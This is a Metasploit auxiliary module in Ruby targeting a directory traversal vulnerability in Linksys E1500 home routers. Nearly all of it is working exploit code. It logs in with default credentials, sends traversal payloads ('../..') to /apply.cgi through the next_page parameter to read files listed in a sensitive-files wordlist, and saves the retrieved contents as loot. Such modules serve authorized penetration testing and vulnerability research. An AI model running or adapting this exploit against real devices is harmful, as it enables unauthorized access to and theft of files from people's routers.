Linksys E1500 Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Linksys E1500 Directory Traversal Vulnerability',  
'Description' => %q{  
This module exploits a directory traversal vulnerability which is present in  
different Linksys home routers, like the E1500.  
},  
'References' =>  
[  
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ],  
[ 'URL', 'http://homekb.cisco.com/Cisco2/ukp.aspx?pid=80&app=vw&vw=1&login=1&json=1&docid=d7d0a87be9864e20bc347a73f194411f_KB_EN_v1.xml' ],  
[ 'BID', '57760' ],  
[ 'OSVDB', '89911' ],  
[ 'EDB', '24475' ]  
],  
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
OptPath.new('SENSITIVE_FILES', [ true, "File containing sensitive files, one per line",  
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),  
OptString.new('HttpUsername',[ true, 'User to login with', 'admin']),  
OptString.new('HttpPassword',[ true, 'Password to login with', 'password']),  
  
])  
end  
  
def extract_words(wordfile)  
return [] unless wordfile && File.readable?(wordfile)  
  
begin  
File.readlines(wordfile, chomp: true)  
rescue ::StandardError => e  
elog(e)  
[]  
end  
end  
  
def find_files(file,user,pass)  
uri = "/apply.cgi"  
traversal = '../..'  
data_trav = "submit_type=wsc_method2&change_action=gozila_cgi&next_page=" << traversal << file  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'authorization' => basic_auth(user,pass),  
'vars_post' => {  
"submit_type" => "wsc_method2",  
"change_action" => "gozila_cgi",  
"next_page" => traversal << file  
}  
})  
  
# without res.body.length we get lots of false positives  
if (res and res.code == 200 and res.body.length > 0)  
print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")  
report_web_vuln({  
:host => rhost,  
:port => rport,  
:vhost => datastore['VHOST'],  
:path => uri,  
:pname => data_trav,  
:risk => 3,  
:proof => data_trav,  
:name => self.fullname,  
:category => "web",  
:method => "POST"  
})  
  
loot = store_loot("linksys.traversal.data","text/plain", rhost, res.body, file)  
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")  
elsif (res and res.code)  
vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}")  
end  
end  
  
def run_host(ip)  
user = datastore['HttpUsername']  
pass = datastore['HttpPassword']  
  
vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")  
  
# test login  
begin  
res = send_request_cgi({  
'uri' => '/',  
'method' => 'GET',  
'authorization' => basic_auth(user,pass)  
})  
  
return if res.nil?  
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /httpd/)  
return if (res.code == 404)  
  
if [200, 301, 302].include?(res.code)  
vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")  
else  
vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")  
return  
end  
  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")  
return  
end  
  
extract_words(datastore['SENSITIVE_FILES']).each do |file|  
find_files(file, user, pass) unless file.empty?  
end  
end  
end  
`